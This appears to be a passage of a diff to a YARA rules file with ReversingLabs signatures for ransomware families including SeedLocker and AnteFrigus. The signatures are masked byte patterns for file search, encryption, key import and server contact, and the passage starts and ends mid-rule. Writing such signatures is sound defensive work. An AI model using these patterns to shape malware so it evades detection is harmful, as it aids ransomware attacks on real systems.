-            ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 53 50 8D 4D ?? E8
-            ?? ?? ?? ?? BF ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ??
-            ?? 83 C4 ?? 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 90 6A ?? 53 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ??
-            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
-            53 50 8D 4D ?? E8 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 39 BD ?? ?? ??
-            ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ??
-            ?? ?? 88 9D ?? ?? ?? ?? 39 7D ?? 8B 75 ?? 73 ?? 8D 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0
-        }
-		$file_search_p2 = {
-            74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 3B
-            C3 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74
-            ?? 8B 45 ?? 3A C3 0F 84 ?? ?? ?? ?? 50 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 3B
-            F3 0F 84 ?? ?? ?? ?? 39 7D ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 7D ?? 72
-            ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 88 5D ?? 39 7D
-            ?? 0F 82 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 E9 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 38 1E 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 89 5D ??
-            39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB
-            ?? B8 ?? ?? ?? ?? C3
+		$find_files_p1 = {
+            73 ?? ?? ?? ?? 0A 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 28
+            ?? ?? ?? ?? 2D ?? 06 08 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ??
+            ?? ?? ?? DC DE ?? 26 DE ?? 06 2A
         }
-		$encrypt_file_1 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ??
-            33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41
-            3B C8 72 ?? 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ??
-            ?? ?? ?? C3 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B
-            F8 83 FF ?? 75 ?? 5F 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ??
-            ?? C3 53 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 57 FF 15 ?? ?? ?? ?? 5B 5F
-            5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 6A ?? FF 15
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 53 56
-            57 FF 15 ?? ?? ?? ?? 33 C0 85 DB 76 ?? 8D 49 ?? 80 34 30 ?? 40 3B C3 72 ?? 6A ?? 6A
-            ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 53 56 57 FF 15 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 0F B7 4C 24 ?? 0F B7
-            54 24 ?? 68 ?? ?? ?? ?? 50 0F B7 44 24 ?? 51 0F B7 4C 24 ?? 52 0F B7 54 24 ?? 50 51
-            52 55 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 55 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B
-            8C 24 ?? ?? ?? ?? 5B 5F 5E B8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+		$find_files_p2 = {
+            02 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
+            0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 03 09 6F ?? ?? ?? ?? 04 2C ?? 04 09
+            6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 6F ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 03 04
+            28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
+            ?? ?? ?? DC 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 04 2C ?? 04
+            11 ?? 6F ?? ?? ?? ?? 2A
         }
-		$encrypt_file_2 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ??
-            33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41
-            3B C8 72 ?? 83 FE ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ??
-            ?? ?? ?? 8B F0 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4
-            ?? ?? ?? ?? C3 53 6A ?? 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 56 FF 15 ?? ?? ??
-            ?? 5B 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 57 8D 83
-            ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8B F8 FF 15 ?? ?? ?? ??
-            6A ?? 8D 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 8B CB C1 E9 ?? 41 74 ?? 8D 47 ?? B2
-            ?? 80 70 ?? ?? 80 70 ?? ?? 80 30 ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ??
-            30 50 ?? 83 C0 ?? 49 75 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ??
-            52 53 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ??
-            0F B7 4C 24 ?? 0F B7 54 24 ?? 0F B7 44 24 ?? 68 ?? ?? ?? ?? 51 0F B7 4C 24 ?? 52 0F
-            B7 54 24 ?? 50 0F B7 44 24 ?? 51 52 50 55 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ??
-            ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15
-            ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5B 5E B8 ?? ?? ?? ?? 5D E8
-            ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+		$find_files_p3 = {
+            73 ?? ?? ?? ?? 0A 06 03 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 02 28
+            ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ??
+            ?? ?? ?? 2C ?? 06 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 31 ?? 06 7B ?? ?? ?? ?? 2C ?? 06 FE
+            06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 17 6F ?? ?? ?? ?? 07 17 6F ?? ?? ??
+            ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 09 6F ?? ?? ?? ?? 06 7B
+            ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28
+            ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 2A
         }
-		$remote_server_1 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 56 57 68 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 33 FF 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB
-            BD ?? ?? ?? ?? 8B 44 24 ?? BA ?? ?? ?? ?? 8B CB D3 E2 85 D0 0F 84 ?? ?? ?? ?? 8A CB
-            8D 54 24 ?? 80 C1 ?? 52 88 4C 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 44
-            24 ?? 50 FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D
-            50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 4C 24 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54
-            24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 44 24 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ??
-            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ??
-            ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+		$import_priv_key = {
+            02 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 16 13 ?? 16 13 ?? 16 13 ?? 11 ?? 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 11 ?? 20 ??
+            ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2E ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 28 ?? ?? ?? ?? 13
+            ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ??
+            0B 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0C 11 ?? 28 ?? ?? ?? ?? 13 ??
+            11 ?? 11 ?? 6F ?? ?? ?? ?? 0D 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13
+            ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13
+            ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ??
+            ?? 13 ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 06 7D ?? ?? ?? ?? 12 ?? 07 7D ?? ?? ?? ?? 12 ??
+            08 7D ?? ?? ?? ?? 12 ?? 09 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ??
+            ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 13 ?? DE ?? 11 ??
+            6F ?? ?? ?? ?? DC 11 ?? 2A
         }
-		$remote_server_2 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 57 33 FF 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 84
-            24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ??
-            0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 87 ?? ?? ?? ?? 53 55 56 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
-            8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB BD ?? ??
-            ?? ?? 8B CB B8 ?? ?? ?? ?? D3 E0 8B 4C 24 ?? 85 C1 0F 84 ?? ?? ?? ?? 8A D3 8D 44 24
-            ?? 80 C2 ?? 50 88 54 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 4C 24 ?? 51
-            FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D 50 ?? 8A
-            08 40 84 C9 75 ?? 2B C2 50 8D 54 24 ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 6A
-            ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ??
-            ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? ?? ?? E8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B
-            8C 24 ?? ?? ?? ?? 5E 5D 5B 33 C0 5F E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 ?? ?? 57 FF
-            15
+		$encrypt_files = {
+            20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A 14 0B 14 0C 16 0D 20 ?? ?? ?? ?? 13 ?? 03 19 17 1D 28
+            ?? ?? ?? ?? 0B 03 19 18 1D 28 ?? ?? ?? ?? 0C 02 7B ?? ?? ?? ?? 08 17 6F ?? ?? ?? ?? 13
+            ?? 07 06 16 06 8E 69 6F ?? ?? ?? ?? 13 ?? 11 ?? 16 31 ?? 11 ?? 06 16 11 ?? 6F ?? ?? ??
+            ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 04 11 ?? 6F ?? ?? ?? ?? 04 6F ?? ?? ?? ??
+            13 ?? 11 ?? 8E 69 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 08 08 6F ?? ?? ?? ?? 16 6F ?? ?? ??
+            ?? 26 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08
+            6F ?? ?? ?? ?? 17 0D DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 13 ?? DE ?? 07 2C
+            ?? 07 6F ?? ?? ?? ?? 08 2C ?? 08 6F ?? ?? ?? ?? 09 26 DC 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($file_search_p*)) and ((($encrypt_file_1) and ($remote_server_1)) or (($encrypt_file_2) and ($remote_server_2)))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($import_priv_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win64_Ransomware_Seedlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Antefrigus : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects SeedLocker ransomware."
+		description = "Yara rule that detects AnteFrigus ransomware."
 		author = "ReversingLabs"
-		id = "efa3dd2e-faf4-5882-aef8-85189e65f0f9"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "903ac92c-1a4a-5645-92db-d00b3bfd6ada"
+		date = "2021-03-05"
+		modified = "2021-03-05"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.SeedLocker.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a478efcfb03e3eeebe72d9a71629456cf061c3c779fbdde99539854caf8c7c33"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.AnteFrigus.yara#L1-L210"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b84c01da0ee97a4eb8bf099c71094f994feb4c7185ad75b8b2ccda5eee283a92"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35381,92 +36784,196 @@ rule REVERSINGLABS_Win64_Ransomware_Seedlocker : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "SeedLocker"
+		tc_detection_name = "AnteFrigus"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files = {
-            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B
-            05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9
-            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
-            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24
-            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ??
-            ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
-            ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3
-            5D C3
+		$find_files_p1 = {
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 68 ?? ?? ?? ?? 8B D0
+            89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 83 65 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45
+            ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 C0 8D 7D
+            ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ??
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A ?? 8B 7A ?? 2B
+            CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B 12 57 52 51 8B
+            CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D ?? 51 50 51 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 83 65 ?? ?? 8D 4D ?? 83 65 ?? ?? 50 E8 ??
+            ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 83 7D ?? ?? 8B 55 ?? 0F 43 75 ?? 85 D2 74 ?? 83 C9 ??
+            8D 42 ?? 3B C1 0F 42 C8 03 CE EB ?? 3B CE 74 ?? 49 80 39 ?? 75 ?? 2B CE EB ?? 83 C9
+            ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 71 ?? C7 45 ?? ?? ?? ?? ?? C6 45
         }
-		$encrypt_files_p1 = {
-            FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 48 8D 85 ?? ?? ??
-            ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 45 33 FF 4C 8D 05 ?? ?? ?? ?? 66 44 89
-            38 45 33 C9 48 83 C0 ?? 4C 89 7C 24 ?? 48 89 05 ?? ?? ?? ?? 33 D2 48 8D 05 ?? ?? ??
-            ?? 44 89 7C 24 ?? 33 C9 48 89 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 45 8D 47 ?? 33
-            C9 FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 ?? ?? ??
-            ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 8B F0 FF
-            15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8
-            FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 ?? 48 63 C8 48 8D 1C 4B 66 44
-            39 3B 75 ?? 48 8B CE FF 15 ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B F8 48
-            83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 1D ?? ?? ?? ?? 48 81
-            C3 ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B D3 48 8D 4C 24 ?? 44 8B F0 FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 8D 48 ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B F0
-            48 83 F8 ?? 74 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 41 8D
-            46 ?? 48 63 C8 48 8D 1C 4B 66 44 39 3B 75 ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 35 ?? ?? ?? ?? 48
+		$find_files_p2 = {
+            3B D6 0F 82 ?? ?? ?? ?? 2B D6 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 7D ?? ?? 51 0F
+            43 45 ?? 8D 4D ?? 03 C6 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 45 ?? 50 83
+            61 ?? ?? 83 61 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ??
